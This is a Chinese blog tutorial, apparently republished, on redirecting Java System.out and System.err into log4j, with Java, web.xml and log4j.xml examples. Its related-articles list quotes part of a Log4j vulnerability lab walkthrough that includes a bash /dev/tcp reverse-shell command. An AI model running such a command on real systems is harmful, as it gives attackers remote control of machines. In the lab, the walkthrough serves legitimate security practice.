log4j重定向stdout和stderr到log文件

2023-12-16 15:38

本文主要是介绍log4j重定向stdout和stderr到log文件,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

http://seeallsea.iteye.com/blog/2117458


  我们使用apache log4j实现项目中的日志功能,在项目中我们通常有这样的需求,一般情况System.out.println()是输出到控制台,但我们希望System.out的输出也记录到log中,还有System.err同样也记录到log中,一些runtime的exception会通过System.err打出到控制台,我们同样希望把这些也都输出到log。在网上查了些参考之后,自己整理并实现了下面的方法。

        System类有setOut方法,可以设置output stream,进行output重定向,所以我们可以传入一个新的PrintStream对象,重写PrintStream的print方法,把要print的值都通过log4j写入到log,因此我们实现一个这样的类:

Java代码   收藏代码
  1. import java.io.PrintStream;  
  2.   
  3. import org.apache.commons.logging.Log;  
  4. import org.apache.commons.logging.LogFactory;  
  5.   
  6.   
  7. public class StdOutErrRedirect {  
  8.     private final static Log logger = LogFactory.getLog(StdOutErrRedirect.class);  
  9.   
  10.     public static void redirectSystemOutAndErrToLog() {  
  11.         PrintStream printStreamForOut = createLoggingWrapper(System.out, false);  
  12.         PrintStream printStreamForErr = createLoggingWrapper(System.out, true);  
  13.         System.setOut(printStreamForOut);  
  14.         System.setErr(printStreamForErr);  
  15.     }  
  16.   
  17.     public static PrintStream createLoggingWrapper(final PrintStream printStream, final boolean isErr) {  
  18.         return new PrintStream(printStream) {  
  19.             @Override  
  20.             public void print(final String string) {  
  21.                 if (!isErr){  
  22.                     logger.debug(string);  
  23.                 }else{  
  24.                     logger.error(string);  
  25.                 }  
  26.             }  
  27.             @Override  
  28.             public void print(boolean b) {  
  29.                 if (!isErr){  
  30.                     logger.debug(Boolean.valueOf(b));  
  31.                 }else{  
  32.                     logger.error(Boolean.valueOf(b));  
  33.                 }  
  34.             }  
  35.             @Override  
  36.             public void print(char c) {  
  37.                 if (!isErr){  
  38.                     logger.debug(Character.valueOf(c));  
  39.                 }else{  
  40.                     logger.error(Character.valueOf(c));  
  41.                 }  
  42.             }  
  43.             @Override  
  44.             public void print(int i) {  
  45.                 if (!isErr){  
  46.                     logger.debug(String.valueOf(i));  
  47.                 }else{  
  48.                     logger.error(String.valueOf(i));  
  49.                 }  
  50.             }  
  51.             @Override  
  52.             public void print(long l) {  
  53.                 if (!isErr){  
  54.                     logger.debug(String.valueOf(l));  
  55.                 }else{  
  56.                     logger.error(String.valueOf(l));  
  57.                 }  
  58.             }  
  59.             @Override  
  60.             public void print(float f) {  
  61.                 if (!isErr){  
  62.                     logger.debug(String.valueOf(f));  
  63.                 }else{  
  64.                     logger.error(String.valueOf(f));  
  65.                 }  
  66.             }  
  67.             @Override  
  68.             public void print(double d) {  
  69.                 if (!isErr){  
  70.                     logger.debug(String.valueOf(d));  
  71.                 }else{  
  72.                     logger.error(String.valueOf(d));  
  73.                 }  
  74.             }  
  75.             @Override  
  76.             public void print(char[] x) {  
  77.                 if (!isErr){  
  78.                     logger.debug(x == null ? null : new String(x));  
  79.                 }else{  
  80.                     logger.error(x == null ? null : new String(x));  
  81.                 }  
  82.             }  
  83.             @Override  
  84.             public void print(Object obj) {  
  85.                 if (!isErr){  
  86.                     logger.debug(obj);  
  87.                 }else{  
  88.                     logger.error(obj);  
  89.                 }  
  90.             }  
  91.         };  
  92.     }  
  93. }  

 这个类里面我们重定向了System.out和Syste.err

 

如果是standalone的应用程序,我们可以在刚进入main方法的地方调用这个类的redirectSystemOutAndErrToLog()静态方法。

 

如果是web应用,我们可以实现一个servlet的listener,在初始化的时候调用这个类的redirectSystemOutAndErrToLog()静态方法。

例如:

 

Java代码   收藏代码
  1. import javax.servlet.ServletContextEvent;  
  2. import javax.servlet.ServletContextListener;  
  3.   
  4. public class StdOutErrInitializer implements ServletContextListener {  
  5.   
  6.     @Override  
  7.     public void contextDestroyed(ServletContextEvent arg0) {  
  8.   
  9.     }  
  10.   
  11.     @Override  
  12.     public void contextInitialized(ServletContextEvent arg0) {  
  13.         StdOutErrRedirect.redirectSystemOutAndErrToLog();  
  14.     }  
  15.   
  16. }  

 然后在web.xml文件中注册这个listener

 

Xml代码   收藏代码
  1. <listener>  
  2.     <listener-class>com.polyvirtual.webapp.util.StdOutErrInitializer</listener-class>  
  3. </listener>  

 

log4j.xml的配置文件,举个例子可以简单的配置成这样:

Xml代码   收藏代码
  1. <?xml version="1.0" encoding="UTF-8" ?>  
  2. <!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">  
  3.   
  4. <log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">  
  5.   
  6.     <appender name="CONSOLE" class="org.apache.log4j.ConsoleAppender">  
  7.         <layout class="org.apache.log4j.PatternLayout">  
  8.             <param name="ConversionPattern"  
  9.                 value="%p [%t] %c{1}.%M(%L) | %m%n"/>  
  10.         </layout>  
  11.     </appender>  
  12.       
  13.     <appender name="FILE" class="org.apache.log4j.RollingFileAppender">    
  14.         <param name="File" value="polyvirtual_logs/polyvirtual_portal.log"/>  
  15.         <param name="MaxFileSize" value="512KB" />  
  16.         <layout class="org.apache.log4j.PatternLayout">    
  17.             <param name="ConversionPattern" value="%d - %c -%-4r [%t] %-5p %x - %m%n" />    
  18.         </layout>    
  19.     </appender>     
  20.   
  21.     <logger name="my.test">  
  22.         <level value="DEBUG"/>  
  23.     </logger>  
  24.   
  25.     <root>  
  26.         <level value="WARN"/>  
  27.         <appender-ref ref="CONSOLE"/>  
  28.         <appender-ref ref="FILE"/>  
  29.     </root>  
  30.   
  31. </log4j:configuration>  

 

这样System.out和System.err的输入都重定向写入到log文件里了,同时也输出到了Console,便于在IDE里开发时查看。


这篇关于log4j重定向stdout和stderr到log文件的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/500984

相关文章

内核启动时减少log的方式

内核引导选项 内核引导选项大体上可以分为两类:一类与设备无关、另一类与设备有关。与设备有关的引导选项多如牛毛,需要你自己阅读内核中的相应驱动程序源码以获取其能够接受的引导选项。比如,如果你想知道可以向 AHA1542 SCSI 驱动程序传递哪些引导选项,那么就查看 drivers/scsi/aha1542.c 文件,一般在前面 100 行注释里就可以找到所接受的引导选项说明。大多数选项是通过"_

ImportError: cannot import name ‘print_log‘ from ‘logging‘

mmcv升级到2.+后删除了很多 解决 查FAQ文档,找到 添加到mmcv.utils下即可

DAY16:什么是慢查询,导致的原因,优化方法 | undo log、redo log、binlog的用处 | MySQL有哪些锁

目录 什么是慢查询,导致的原因,优化方法 undo log、redo log、binlog的用处  MySQL有哪些锁   什么是慢查询,导致的原因,优化方法 数据库查询的执行时间超过指定的超时时间时,就被称为慢查询。 导致的原因: 查询语句比较复杂:查询涉及多个表,包含复杂的连接和子查询,可能导致执行时间较长。查询数据量大:当查询的数据量庞大时,即使查询本身并不复杂,也可能导致

多数据源的事务处理总是打印很多无用的log日志

之前做了一个项目,需要用到多数据源以及事务处理,在使用事务处理,服务器总是打印很多关于事务处理的log日志(com.atomikos.logging.Slf4jLogger),但是我们根本不会用到这些log日志,反而使得查询一些有用的log日志变得困难。那要如何屏蔽这些log日志呢? 之前的项目是提高项目打印log日志的级别,后来觉得这样治标不治本。 现在有一个更好的方法: 我使用的是log

android两种日志获取log4j

android   log4j 加载日志使用方法; 先上图: 有两种方式: 1:直接使用架包 加载(两个都要使用); 架包:android-logging-log4j-1.0.3.jar 、log4j-1.2.15.jar  (说明:也可以使用架包:log4j-1.2.17.jar)  2:对架包输入日志的二次封装使用; 1:直接使用 log4j 日志框架获取日志信息: A:配置 日志 文

【vue3|第28期】 Vue3 + Vue Router:探索路由重定向的使用与作用

日期:2024年9月8日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对的地方,还望各位大佬不吝赐教,谢谢^ - ^ 1.01365 = 37.7834;0.99365 = 0.0255 1.02365 = 1377.4083;0.98365 = 0.0006 说

在struts.xml中,如何配置请求转发和请求重定向!

<span style="font-size:18px;"><span style="white-space:pre"> </span><!--<strong>下面用请求转发action </strong>,<strong>这样过去id不会丢</strong>,如果用重定向的话,id会丢 --><result name="updatePopedom"<span style="color:#ff00

请解释JSP中的九大内置对象及其作用。什么是Java Web中的请求转发和重定向?它们有什么区别?

请解释JSP中的九大内置对象及其作用。 JSP(JavaServer Pages)中的九大内置对象(也称为隐式对象或自动对象)是JSP容器为每个页面提供的Java对象,这些对象在JSP页面被转换成Servlet时自动可用,无需显式声明。这些对象极大地简化了JSP页面的开发,因为它们提供了对Web应用程序中常见功能的直接访问。以下是九大内置对象及其作用的详细解释: request:javax.

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

log file sync等待事件

概念: 1、REDO组件: redolog buffer=>位于SGA中,是一块循环使用的内存区域,保存数据库变更的相关信息并以重做条目redoentries形式存储,包含DML及DDL语句; LGWR=>通过此进程把redo buffer的内容写到redo log file中; redo log file=>(在归档模式下被ARC n最终写入归档日志)。最少两组重做日志,每组最少